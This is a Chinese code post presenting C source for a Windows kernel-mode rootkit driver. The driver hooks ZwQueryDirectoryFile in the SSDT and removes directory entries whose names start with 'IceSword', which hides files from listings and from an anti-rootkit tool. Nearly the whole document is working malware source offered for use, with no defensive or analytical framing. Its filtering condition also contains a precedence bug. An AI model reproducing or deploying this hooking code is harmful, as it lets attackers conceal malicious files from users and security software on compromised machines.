vc是实现RootKit文件隐藏

#include "ntddk.h"
#include <windef.h>

#pragma pack(1) //SSDT Table
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath);
VOID Unload(IN PDRIVER_OBJECT  DriverObject);

//取代的新函数
NTSTATUS NTAPI NewZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );

//API 声明
NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );

typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );

typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;

typedef struct _FILE_ID_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;

typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

//源地址
ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile = NULL;
DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset);
PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);

 

 

 

 

 

 

 

#include "Hidefile.h"

NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath)
{
 NTSTATUS ntStatus = STATUS_SUCCESS;

 DriverObject->DriverUnload = Unload;

 KdPrint(("Driver Entry Called!/n"));

 KdPrint(("OldAddress:0x%X/tNewAddress:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile),NewZwQueryDirectoryFile));
 OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile);
 (ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = NewZwQueryDirectoryFile;

 return ntStatus;
}

VOID Unload(IN PDRIVER_OBJECT  DriverObject)
{
 KdPrint(("Driver Unload Called!/n"));
 (ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = OldZwQueryDirectoryFile;
 KdPrint(("Address:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile)));
 return;
}

DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
 DWORD result = 0;
 switch(FileInfo){
 case FileDirectoryInformation:
  result = ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset;
  break;
 case FileFullDirectoryInformation:
  result = ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
  break;
 case FileIdFullDirectoryInformation:
  result = ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
  break;
 case FileBothDirectoryInformation:
  result = ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
  break;
 case FileIdBothDirectoryInformation:
  result = ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
  break;
 case FileNamesInformation:
  result = ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset;
  break;
 }
 return result;
}

void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset)
{
 switch(FileInfo){
 case FileDirectoryInformation:
  ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
 case FileFullDirectoryInformation:
  ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
 case FileIdFullDirectoryInformation:
  ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
 case FileBothDirectoryInformation:
  ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
 case FileIdBothDirectoryInformation:
  ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
 case FileNamesInformation:
  ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
 }
}

PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
 PVOID result = 0;
 switch(FileInfo){
 case FileDirectoryInformation:
  result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)pData)->FileName[0];
  break;
 case FileFullDirectoryInformation:
  result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)pData)->FileName[0];
  break;
 case FileIdFullDirectoryInformation:
  result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileName[0];
  break;
 case FileBothDirectoryInformation:
  result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)pData)->FileName[0];
  break;
 case FileIdBothDirectoryInformation:
  result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileName[0];
  break;
 case FileNamesInformation:
  result =(PVOID)&((PFILE_NAMES_INFORMATION)pData)->FileName[0];
  break;
 }
 return result;
}

ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
 ULONG result = 0;
 switch(FileInfo){
 case FileDirectoryInformation:
  result = (ULONG)((PFILE_DIRECTORY_INFORMATION)pData)->FileNameLength;
  break;
 case FileFullDirectoryInformation:
  result =(ULONG)((PFILE_FULL_DIR_INFORMATION)pData)->FileNameLength;
  break;
 case FileIdFullDirectoryInformation:
  result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileNameLength;
  break;
 case FileBothDirectoryInformation:
  result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)pData)->FileNameLength;
  break;
 case FileIdBothDirectoryInformation:
  result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileNameLength;
  break;
 case FileNamesInformation:
  result =(ULONG)((PFILE_NAMES_INFORMATION)pData)->FileNameLength;
  break;
 }
 return result;
}

NTSTATUS NTAPI NewZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan )
{
 NTSTATUS ntStatus = OldZwQueryDirectoryFile(
  FileHandle,
  Event,
  ApcRoutine,
  ApcContext,
  IoStatusBlock,
  FileInformation,
  Length,
  FileInformationClass,
  ReturnSingleEntry,
  FileMask,
  RestartScan);

 if(NT_SUCCESS(ntStatus) &&
  FileInformationClass == FileDirectoryInformation ||
  FileInformationClass == FileFullDirectoryInformation ||
  FileInformationClass == FileIdFullDirectoryInformation ||
  FileInformationClass == FileBothDirectoryInformation ||
  FileInformationClass == FileIdBothDirectoryInformation ||
  FileInformationClass == FileNamesInformation
  )
 {
  PVOID p = FileInformation;
  PVOID pLast = NULL;
  DWORD pLastOne = 0;
  KdPrint(("<--------/n"));
  do{
   pLastOne = GetNextEntryOffset(p,FileInformationClass);
   KdPrint(("[*]Last:0x%x/tCurrent:0x%x/tpLastOne:%ld/n",pLast,p,pLastOne));
   
   if(RtlCompareMemory(GetEntryFileName(p,FileInformationClass), L"IceSword", 16 ) == 16 )
   {
    KdPrint(("[-]Hide...../n"));
    if(pLastOne == 0)
    {
     if (p == FileInformation)
      ntStatus = STATUS_NO_MORE_FILES;
     else
      SetNextEntryOffset(pLast,FileInformationClass, 0);
     break;
    }
    else
    {
     int iPos = ((ULONG)p) - (ULONG)FileInformation;
     int iLeft = (DWORD)Length - iPos - pLastOne;
     RtlCopyMemory(p,(PVOID)((char*)p + pLastOne),(DWORD)iLeft);
     KdPrint(("iPos:%ld/tLength:%ld/tiLeft:%ld/t,NextOffset:%ld/tpLastOne:%ld/tCurrent:0x%x/n",
      iPos,Length,iLeft,GetNextEntryOffset(p,FileInformationClass),pLastOne,p));
     continue;
    }
   }
   pLast = p;
   p = ((char*)p + GetNextEntryOffset(p,FileInformationClass));
  }while (pLastOne != 0);
  KdPrint(("-------->/n"));
 }

 return ntStatus;
}

你可能感兴趣的:(String,struct,object,File,Integer,Class)